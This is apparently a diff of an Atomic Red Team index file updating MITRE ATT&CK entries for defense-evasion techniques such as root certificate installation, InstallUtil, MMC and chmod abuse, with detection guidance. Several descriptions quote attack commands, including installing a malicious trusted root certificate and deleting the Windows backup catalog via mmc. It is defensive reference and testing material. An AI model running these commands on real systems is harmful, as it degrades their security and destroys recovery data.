       x_mitre_data_sources:
       - 'Windows Registry: Windows Registry Key Creation'
       - 'Windows Registry: Windows Registry Key Modification'
       - 'Process: Process Creation'
       - 'Command: Command Execution'
-      x_mitre_detection: |-
-        A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity. (Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl. (Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (<code>sigcheck[64].exe -tuv</code>) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List. (Citation: Microsoft Sigcheck May 2017)
+      x_mitre_version: '1.1'
+      modified: '2021-08-25T19:39:07.001Z'
+      created: '2020-02-21T21:05:32.844Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      id: attack-pattern--c615231b-f253-4f58-9d47-d5b4cbdb6839
+      x_mitre_defense_bypassed:
+      - Digital Certificate Validation
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
+      - User
+      description: |-
+        Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.(Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
 
-        Installed root certificates are located in the Registry under <code>HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates\</code> and <code>[HKLM or HKCU]\Software[\Policies\]\Microsoft\SystemCertificates\Root\Certificates\</code>. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison: (Citation: Tripwire AppUNBlocker)
+        Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.(Citation: Operation Emmental)
+
+        Atypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) capability for intercepting information transmitted over secure TLS/SSL communications.(Citation: Kaspersky Superfish)
+
+        Root certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence.(Citation: SpectorOps Code Signing Dec 2017)
+
+        In macOS, the Ay MaMi malware uses <code>/usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert</code> to install a malicious certificate as a trusted root certificate into the system keychain.(Citation: objective-see ay mami 2018)
+      x_mitre_contributors:
+      - Matt Graeber, @mattifestation, SpecterOps
+      - Red Canary
+      - Travis Smith, Tripwire
+      - Itzik Kotler, SafeBreach
+      x_mitre_detection: |-
+        A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity.(Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl.(Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (<code>sigcheck[64].exe -tuv</code>) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List.(Citation: Microsoft Sigcheck May 2017)
+
+        Installed root certificates are located in the Registry under <code>HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates\</code> and <code>[HKLM or HKCU]\Software[\Policies\]\Microsoft\SystemCertificates\Root\Certificates\</code>. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison:(Citation: Tripwire AppUNBlocker)
 
         * 18F7C1FCC3090203FD5BAA2F861A754976C8DD25
         * 245C97DF7514E7CF2DF8BE72AE957B9E04741E85
@@ -29619,13 +30325,42 @@ defense-evasion:
         * A43489159A520F0D93D032CCAF37E7FE20A8B419
         * BE36A4562FB2EE05DBB3D32323ADF445084ED656
         * CDD4EEAE6000AC7F40C3802C171E30148030C072
-      x_mitre_defense_bypassed:
-      - Digital Certificate Validation
-      x_mitre_permissions_required:
-      - Administrator
-      - User
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1553/004
+        external_id: T1553.004
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/479.html
+        external_id: CAPEC-479
+        source_name: capec
+      - source_name: Wikipedia Root Certificate
+        description: Wikipedia. (2016, December 6). Root certificate. Retrieved February
+          20, 2017.
+        url: https://en.wikipedia.org/wiki/Root_certificate
+      - source_name: Operation Emmental
+        description: Sancho, D., Hacquebord, F., Link, R. (2014, July 22). Finding
+          Holes Operation Emmental. Retrieved February 9, 2016.
+        url: http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf
+      - source_name: Kaspersky Superfish
+        description: 'Onuma. (2015, February 24). Superfish: Adware Preinstalled on
+          Lenovo Laptops. Retrieved February 20, 2017.'
+        url: https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/
+      - source_name: SpectorOps Code Signing Dec 2017
+        description: Graeber, M. (2017, December 22). Code Signing Certificate Cloning
+          Attacks and Defenses. Retrieved April 3, 2018.
+        url: https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec
+      - source_name: objective-see ay mami 2018
+        description: Patrick Wardle. (2018, January 11). Ay MaMi. Retrieved March
+          19, 2018.
+        url: https://objective-see.com/blog/blog_0x26.html
+      - source_name: Microsoft Sigcheck May 2017
+        description: Russinovich, M. et al.. (2017, May 22). Sigcheck. Retrieved April
+          3, 2018.
+        url: https://docs.microsoft.com/sysinternals/downloads/sigcheck
+      - source_name: Tripwire AppUNBlocker
+        description: 'Smith, T. (2016, October 27). AppUNBlocker: Bypassing AppLocker.
+          Retrieved December 19, 2017.'
+        url: https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/
       identifier: T1553.004
     atomic_tests:
     - name: Install root CA on CentOS/RHEL
@@ -29812,53 +30547,53 @@ defense-evasion:
         elevation_required: true
   T1218.004:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: InstallUtil
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      modified: '2020-06-20T22:34:46.529Z'
+      created: '2020-01-23T19:09:48.811Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
       id: attack-pattern--2cd950a6-16c4-404a-aa01-044322395107
+      x_mitre_defense_bypassed:
+      - Digital Certificate Validation
+      - Application control
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
       description: |-
         Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is digitally signed by Microsoft and located in the .NET directories on a Windows system: <code>C:\Windows\Microsoft.NET\Framework\v<version>\InstallUtil.exe</code> and <code>C:\Windows\Microsoft.NET\Framework64\v<version>\InstallUtil.exe</code>.
 
         InstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute <code>[System.ComponentModel.RunInstaller(true)]</code>. (Citation: LOLBAS Installutil)
-      name: InstallUtil
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1218.004
-        url: https://attack.mitre.org/techniques/T1218/004
-      - source_name: MSDN InstallUtil
-        description: Microsoft. (n.d.). Installutil.exe (Installer Tool). Retrieved
-          July 1, 2016.
-        url: https://msdn.microsoft.com/en-us/library/50614e95.aspx
-      - source_name: LOLBAS Installutil
-        url: https://lolbas-project.github.io/lolbas/Binaries/Installutil/
-        description: LOLBAS. (n.d.). Installutil.exe. Retrieved July 31, 2019.
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      modified: '2020-06-20T22:34:46.529Z'
-      created: '2020-01-23T19:09:48.811Z'
-      x_mitre_platforms:
-      - Windows
       x_mitre_contributors:
       - Travis Smith, Tripwire
       - Casey Smith
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
       x_mitre_detection: Use process monitoring to monitor the execution and arguments
         of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior
         history of known good arguments and executed binaries to determine anomalous
         and potentially adversarial activity. Command arguments used before and after
         the InstallUtil.exe invocation may also be useful in determining the origin
         and purpose of the binary being executed.
-      x_mitre_defense_bypassed:
-      - Digital Certificate Validation
-      - Application control
-      x_mitre_permissions_required:
-      - User
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1218/004
+        external_id: T1218.004
+        source_name: mitre-attack
+      - url: https://msdn.microsoft.com/en-us/library/50614e95.aspx
+        description: Microsoft. (n.d.). Installutil.exe (Installer Tool). Retrieved
+          July 1, 2016.
+        source_name: MSDN InstallUtil
+      - url: https://lolbas-project.github.io/lolbas/Binaries/Installutil/
+        description: LOLBAS. (n.d.). Installutil.exe. Retrieved July 31, 2019.
+        source_name: LOLBAS Installutil
       identifier: T1218.004
     atomic_tests:
     - name: CheckIfInstallable method call
@@ -30420,135 +31155,160 @@ defense-evasion:
         name: powershell
   T1036.001:
     technique:
-      created: '2020-02-10T19:49:46.752Z'
-      modified: '2020-02-10T19:52:47.724Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       type: attack-pattern
+      name: Invalid Code Signature
+      x_mitre_data_sources:
+      - 'File: File Metadata'
+      x_mitre_version: '1.0'
+      modified: '2020-02-10T19:52:47.724Z'
+      created: '2020-02-10T19:49:46.752Z'
+      x_mitre_platforms:
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: true
       id: attack-pattern--b4b7458f-81f2-4d38-84be-1c5ba0167a52
       description: |-
         Adversaries may attempt to mimic features of valid code signatures to increase the chance of deceiving a user, analyst, or tool. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. Adversaries can copy the metadata and signature information from a signed program, then use it as a template for an unsigned program. Files with invalid code signatures will fail digital signature validation checks, but they may appear more legitimate to users and security tools may improperly handle these files.(Citation: Threatexpress MetaTwin 2017)
 
         Unlike [Code Signing](https://attack.mitre.org/techniques/T1553/002), this activity will not result in a valid signature.
-      name: Invalid Code Signature
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1036.001
-        url: https://attack.mitre.org/techniques/T1036/001
-      - source_name: Threatexpress MetaTwin 2017
-        url: https://threatexpress.com/blogs/2017/metatwin-borrowing-microsoft-metadata-and-digital-signatures-to-hide-binaries/
-        description: Vest, J. (2017, October 9). Borrowing Microsoft MetaData and
-          Signatures to Hide Binary Payloads. Retrieved September 10, 2019.
-      x_mitre_platforms:
-      - macOS
-      - Windows
-      x_mitre_data_sources:
-      - 'File: File Metadata'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
       x_mitre_detection: Collect and analyze signing certificate metadata and check
         signature validity on software that executes within the environment, look
         for invalid signatures as well as unusual certificate characteristics and
         outliers.
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1036/001
+        external_id: T1036.001
+        source_name: mitre-attack
+      - url: https://threatexpress.com/blogs/2017/metatwin-borrowing-microsoft-metadata-and-digital-signatures-to-hide-binaries/
+        description: Vest, J. (2017, October 9). Borrowing Microsoft MetaData and
+          Signatures to Hide Binary Payloads. Retrieved September 10, 2019.
+        source_name: Threatexpress MetaTwin 2017
     atomic_tests: []
   T1149:
     technique:
-      id: attack-pattern--a0a189c8-d3bd-4991-bf6f-153d185ee373
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: LC_MAIN Hijacking
-      description: |-
-        **This technique has been deprecated and should no longer be used.**
-
-        As of OS X 10.8, mach-O binaries introduced a new header called LC_MAIN that points to the binary’s entry point for execution. Previously, there were two headers to achieve this same effect: LC_THREAD and LC_UNIXTHREAD  (Citation: Prolific OSX Malware History). The entry point for a binary can be hijacked so that initial execution flows to a malicious addition (either another section or a code cave) and then goes back to the initial entry point so that the victim doesn’t know anything was different  (Citation: Methods of Mac Malware Persistence). By modifying a binary in this way, application whitelisting can be bypassed because the file name or application path is still the same.
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1149
-        url: https://attack.mitre.org/techniques/T1149
-      - url: https://assets.documentcloud.org/documents/2459197/bit9-carbon-black-threat-research-report-2015.pdf
-        description: 'Bit9 + Carbon Black Threat Research Team. (2015). 2015: The
-          Most Prolific Year in History for OS X Malware. Retrieved July 8, 2017.'
-        source_name: Prolific OSX Malware History
-      - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
-        description: Patrick Wardle. (2014, September). Methods of Malware Persistence
-          on Mac OS X. Retrieved July 5, 2017.
-        source_name: Methods of Mac Malware Persistence
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
+      name: LC_MAIN Hijacking
+      x_mitre_version: '2.0'
       modified: '2020-03-30T13:53:57.518Z'
       created: '2017-12-14T16:46:06.044Z'
       x_mitre_deprecated: true
-      x_mitre_is_subtechnique: false
-      x_mitre_platforms:
-      - macOS
-      x_mitre_permissions_required:
-      - User
-      - Administrator
+      id: attack-pattern--a0a189c8-d3bd-4991-bf6f-153d185ee373
       x_mitre_defense_bypassed:
       - Application whitelisting
       - Process whitelisting
       - Whitelisting by file name or path
+      x_mitre_platforms:
+      - macOS
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
+      - Administrator
+      description: |-
+        **This technique has been deprecated and should no longer be used.**
+
+        As of OS X 10.8, mach-O binaries introduced a new header called LC_MAIN that points to the binary’s entry point for execution. Previously, there were two headers to achieve this same effect: LC_THREAD and LC_UNIXTHREAD  (Citation: Prolific OSX Malware History). The entry point for a binary can be hijacked so that initial execution flows to a malicious addition (either another section or a code cave) and then goes back to the initial entry point so that the victim doesn’t know anything was different  (Citation: Methods of Mac Malware Persistence). By modifying a binary in this way, application whitelisting can be bypassed because the file name or application path is still the same.
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
       x_mitre_detection: Determining the original entry point for a binary is difficult,
         but checksum and signature verification is very possible. Modifying the LC_MAIN
         entry point or adding in an additional LC_MAIN entry point invalidates the
         signature for the file and can be detected. Collect running process information
         and compare against known applications to look for suspicious behavior.
-      x_mitre_version: '2.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1149
+        external_id: T1149
+        source_name: mitre-attack
+      - source_name: Prolific OSX Malware History
+        description: 'Bit9 + Carbon Black Threat Research Team. (2015). 2015: The
+          Most Prolific Year in History for OS X Malware. Retrieved July 8, 2017.'
+        url: https://assets.documentcloud.org/documents/2459197/bit9-carbon-black-threat-research-report-2015.pdf
+      - source_name: Methods of Mac Malware Persistence
+        description: Patrick Wardle. (2014, September). Methods of Malware Persistence
+          on Mac OS X. Retrieved July 5, 2017.
+        url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
     atomic_tests: []
   T1222.002:
     technique:
-      created: '2020-02-04T19:24:27.774Z'
-      modified: '2020-03-29T23:12:40.041Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
       type: attack-pattern
-      id: attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345
-      description: |-
-        Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
-
-        Most Linux and Linux-based platforms provide a standard set of permission groups (user, group, and other) and a standard set of permissions (read, write, and execute) that are applied to each group. While nuances of each platform’s permissions implementation may vary, most of the platforms provide two primary commands used to manipulate file and directory ACLs: <code>chown</code> (short for change owner), and <code>chmod</code> (short for change mode).
-
-        Adversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it. They could subsequently lock others out of the file. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004) or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).
+      modified: '2021-09-13T21:08:09.985Z'
       name: Linux and Mac File and Directory Permissions Modification
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1222.002
-        url: https://attack.mitre.org/techniques/T1222/002
-      - url: https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100
-        description: Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe.
-          Retrieved August 19, 2018.
-        source_name: Hybrid Analysis Icacls1 June 2018
-      - url: https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110
-        description: Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll.
-          Retrieved August 19, 2018.
-        source_name: Hybrid Analysis Icacls2 May 2018
-      x_mitre_platforms:
-      - macOS
-      - Linux
       x_mitre_data_sources:
       - 'Process: Process Creation'
       - 'Command: Command Execution'
       - 'File: File Metadata'
-      x_mitre_detection: |-
-        Monitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.
-
-        Consider enabling file/directory permission change auditing on folders containing key binary/configuration files.
+      x_mitre_version: '1.1'
+      created: '2020-02-04T19:24:27.774Z'
       x_mitre_permissions_required:
       - User
       - root
+      x_mitre_platforms:
+      - macOS
+      - Linux
       x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      id: attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345
+      description: "Adversaries may modify file or directory permissions/attributes
+        to evade access control lists (ACLs) and access protected files.(Citation:
+        Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018)
+        File and directory permissions are commonly managed by ACLs configured by
+        the file or directory owner, or users with the appropriate permissions. File
+        and directory ACL implementations vary by platform, but generally explicitly
+        designate which users or groups can perform which actions (read, write, execute,
+        etc.).\n\nMost Linux and Linux-based platforms provide a standard set of permission
+        groups (user, group, and other) and a standard set of permissions (read, write,
+        and execute) that are applied to each group. While nuances of each platform’s
+        permissions implementation may vary, most of the platforms provide two primary
+        commands used to manipulate file and directory ACLs: <code>chown</code> (short
+        for change owner), and <code>chmod</code> (short for change mode).\n\nAdversarial
+        may use these commands to make themselves the owner of files and directories
+        or change the mode if current permissions allow it. They could subsequently
+        lock others out of the file. Specific file and directory modifications may
+        be a required step for many techniques, such as establishing Persistence via
+        [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004)
+        or tainting/hijacking other instrumental binary/configuration files via [Hijack
+        Execution Flow](https://attack.mitre.org/techniques/T1574).(Citation: 20 macOS
+        Common Tools and Techniques) "
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      x_mitre_detection: "Monitor and investigate attempts to modify ACLs and file/directory
+        ownership. Many of the commands used to modify ACLs and file/directory ownership
+        are built-in system utilities and may generate a high false positive alert
+        rate, so compare against baseline knowledge for how systems are typically
+        used and correlate modification events with other indications of malicious
+        activity where possible. Commonly abused command arguments include <code>chmod
+        +x</code>, <code>chmod -R 755</code>, and <code>chmod 777</code>.(Citation:
+        20 macOS Common Tools and Techniques) \n\nConsider enabling file/directory
+        permission change auditing on folders containing key binary/configuration
+        files."
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1222/002
+        external_id: T1222.002
+        source_name: mitre-attack
+      - source_name: Hybrid Analysis Icacls1 June 2018
+        description: Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe.
+          Retrieved August 19, 2018.
+        url: https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100
+      - source_name: Hybrid Analysis Icacls2 May 2018
+        description: Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll.
+          Retrieved August 19, 2018.
+        url: https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110
+      - url: https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/
+        description: Phil Stokes. (2021, February 16). 20 Common Tools & Techniques
+          Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.
+        source_name: 20 macOS Common Tools and Techniques
       identifier: T1222.002
     atomic_tests:
     - name: chmod - Change file or folder mode (numeric mode)
@@ -30761,6 +31521,26 @@ defense-evasion:
         name: sh
   T1078.003:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Local Accounts
+      x_mitre_data_sources:
+      - 'Logon Session: Logon Session Metadata'
+      - 'User Account: User Account Authentication'
+      - 'Logon Session: Logon Session Creation'
+      x_mitre_version: '1.2'
+      modified: '2021-10-18T17:45:48.323Z'
+      created: '2020-03-13T20:26:46.695Z'
+      x_mitre_permissions_required:
+      - Administrator
+      - User
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      - Containers
+      x_mitre_is_subtechnique: true
       id: attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2
       description: "Adversaries may obtain and abuse credentials of a local account
         as a means of gaining Initial Access, Persistence, Privilege Escalation, or
@@ -30770,15 +31550,6 @@ defense-evasion:
         and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003).
         Password reuse may allow the abuse of local accounts across a set of machines
         on a network for the purposes of Privilege Escalation and Lateral Movement. "
-      name: Local Accounts
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1078.003
-        url: https://attack.mitre.org/techniques/T1078/003
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
@@ -30788,25 +31559,15 @@ defense-evasion:
         phase_name: privilege-escalation
       - kill_chain_name: mitre-attack
         phase_name: initial-access
-      modified: '2021-04-05T12:51:00.663Z'
-      created: '2020-03-13T20:26:46.695Z'
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      - Containers
-      x_mitre_data_sources:
-      - 'User Account: User Account Authentication'
-      - 'Logon Session: Logon Session Creation'
       x_mitre_detection: Perform regular audits of local system accounts to detect
         accounts that may have been created by an adversary for persistence. Look
         for suspicious account behavior, such as accounts logged in at odd times or
         outside of business hours.
-      x_mitre_permissions_required:
-      - Administrator
-      - User
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.1'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1078/003
+        external_id: T1078.003
+        source_name: mitre-attack
       identifier: T1078.003
     atomic_tests:
     - name: Create local account with admin privileges
@@ -30825,54 +31586,151 @@ defense-evasion:
           net user art-test /delete >nul 2>&1
         name: command_prompt
         elevation_required: true
+  T1218.014:
+    technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: MMC
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'File: File Creation'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      modified: '2021-10-16T00:13:18.889Z'
+      created: '2021-09-28T01:36:41.638Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      id: attack-pattern--ffbcfdb0-de22-4106-9ed3-fc23c8a01407
+      x_mitre_defense_bypassed:
+      - Application control
+      - Digital Certificate Validation
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
+      - Administrator
+      description: "Adversaries may abuse mmc.exe to proxy execution of malicious
+        .msc files. Microsoft Management Console, or MMC, is a signed Windows binary
+        and is used in several ways in either its GUI or in a command prompt.(Citation:
+        win_mmc)(Citation: what_is_mmc) MMC can be used to create, open, and save
+        custom consoles that contain administrative tools created by Microsoft, called
+        snap-ins. These snap-ins may be used to manage Windows systems locally or
+        remotely. MMC can also be used to open Microsoft created .msc files to manage
+        system configuration.(Citation: win_msc_files_overview)\n\nFor example, <code>mmc
+        C:\\Users\\foo\\admintools.msc /a</code> will open a custom, saved console
+        msc file in author mode.(Citation: win_mmc) Another common example is <code>mmc
+        gpedit.msc</code>, which will open the Group Policy Editor application window.
+        \n\nAdversaries may use MMC commands to perform malicious tasks. For example,
+        <code>mmc wbadmin.msc delete catalog -quiet</code> deletes the backup catalog
+        on the system (i.e. [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490))
+        without prompts to the user (Note: <code>wbadmin.msc</code> may only be present
+        by default on Windows Server operating systems).(Citation: win_wbadmin_delete_catalog)(Citation:
+        phobos_virustotal)\n\nAdversaries may also abuse MMC to execute malicious
+        .msc files. For example, adversaries may first create a malicious registry
+        Class Identifier (CLSID) subkey, which uniquely identifies a [Component Object
+        Model](https://attack.mitre.org/techniques/T1559/001) class object.(Citation:
+        win_clsid_key) Then, adversaries may create custom consoles with the “Link
+        to Web Address” snap-in that is linked to the malicious CLSID subkey.(Citation:
+        mmc_vulns) Once the .msc file is saved, adversaries may invoke the malicious
+        CLSID payload with the following command: <code>mmc.exe -Embedding C:\\path\\to\\test.msc</code>.(Citation:
+        abusing_com_reg)"
+      x_mitre_contributors:
+      - Wes Hurd
+      x_mitre_detection: "Monitor processes and command-line parameters for suspicious
+        or malicious use of MMC. Since MMC is a signed Windows binary, verify use
+        of MMC is legitimate and not malicious. \n\nMonitor for creation and use of
+        .msc files. MMC may legitimately be used to call Microsoft-created .msc files,
+        such as <code>services.msc</code> or <code>eventvwr.msc</code>. Invoking non-Microsoft
+        .msc files may be an indicator of malicious activity. "
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1218/014
+        external_id: T1218.014
+        source_name: mitre-attack
+      - url: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/mmc
+        description: Microsoft. (2017, October 16). mmc. Retrieved September 20, 2021.
+        source_name: win_mmc
+      - url: https://docs.microsoft.com/en-us/troubleshoot/windows-server/system-management-components/what-is-microsoft-management-console
+        description: Microsoft. (2020, September 27). What is Microsoft Management
+          Console?. Retrieved October 5, 2021.
+        source_name: what_is_mmc
+      - url: https://www.ghacks.net/2017/06/10/windows-msc-files-overview/
+        description: Brinkmann, M.. (2017, June 10). Windows .msc files overview.
+          Retrieved September 20, 2021.
+        source_name: win_msc_files_overview
+      - url: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-delete-catalog
+        description: Microsoft. (2017, October 16). wbadmin delete catalog. Retrieved
+          September 20, 2021.
+        source_name: win_wbadmin_delete_catalog
+      - url: 'https://www.virustotal.com/gui/file/0b4c743246478a6a8c9fa3ff8e04f297507c2f0ea5d61a1284fe65387d172f81/detection '
+        description: Phobos Ransomware. (2020, December 30). Phobos Ransomware, Fast.exe.
+          Retrieved September 20, 2021.
+        source_name: phobos_virustotal
+      - url: https://docs.microsoft.com/en-us/windows/win32/com/clsid-key-hklm
